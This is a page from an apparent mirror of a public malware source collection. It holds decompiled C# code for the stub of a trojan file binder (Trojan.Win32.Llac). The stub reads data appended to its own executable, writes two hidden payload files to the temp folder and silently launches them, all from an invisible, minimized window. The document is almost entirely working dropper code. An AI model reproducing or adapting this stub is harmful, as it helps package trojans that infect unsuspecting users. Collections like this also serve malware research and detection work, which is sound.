mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
f2ac1ece55
add
93 lines
3.0 KiB
C#
93 lines
3.0 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: simple_binder_1._0_stub.Form1
|
|
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 0BAF5986-14D5-42D7-8ECE-E8424900B126
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.ajct-496a82d41ef981aaf95528eba07b68a8bbfafa567f3a1bdb10d600c629442fb5.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
namespace simple_binder_1._0_stub
|
|
{
|
|
[DesignerGenerated]
|
|
public class Form1 : Form
|
|
{
|
|
private IContainer components;
|
|
private string[] options;
|
|
private string file1;
|
|
private const string FileSplit = "@joblow@";
|
|
|
|
[DebuggerNonUserCode]
|
|
public Form1()
|
|
{
|
|
this.Load += new EventHandler(this.Form1_Load);
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
try
|
|
{
|
|
if (!disposing || this.components == null)
|
|
return;
|
|
this.components.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
base.Dispose(disposing);
|
|
}
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.SuspendLayout();
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
|
|
this.ClientSize = new Size(10, 10);
|
|
this.ControlBox = false;
|
|
this.FormBorderStyle = FormBorderStyle.None;
|
|
this.MaximizeBox = false;
|
|
this.MinimizeBox = false;
|
|
this.Name = nameof (Form1);
|
|
this.Opacity = 0.0;
|
|
this.ShowIcon = false;
|
|
this.ShowInTaskbar = false;
|
|
this.Text = nameof (Form1);
|
|
this.TransparencyKey = SystemColors.Control;
|
|
this.WindowState = FormWindowState.Minimized;
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
private void Form1_Load(object sender, EventArgs e)
|
|
{
|
|
string tempPath = Path.GetTempPath();
|
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
|
this.file1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
FileSystem.FileGet(1, ref this.file1);
|
|
FileSystem.FileClose(1);
|
|
this.options = Strings.Split(this.file1, "@joblow@");
|
|
FileSystem.FileOpen(3, tempPath + this.options[3], OpenMode.Binary, OpenAccess.ReadWrite);
|
|
FileSystem.FilePut(3, this.options[1], -1L, false);
|
|
FileSystem.FileClose(3);
|
|
FileSystem.FileOpen(5, tempPath + this.options[4], OpenMode.Binary, OpenAccess.ReadWrite);
|
|
FileSystem.FilePut(5, this.options[2], -1L, false);
|
|
FileSystem.FileClose(5);
|
|
if (Conversions.ToBoolean(this.options[5]))
|
|
Process.Start(tempPath + this.options[3]);
|
|
if (Conversions.ToBoolean(this.options[6]))
|
|
Process.Start(tempPath + this.options[4]);
|
|
this.Close();
|
|
ProjectData.EndApp();
|
|
}
|
|
}
|
|
}
|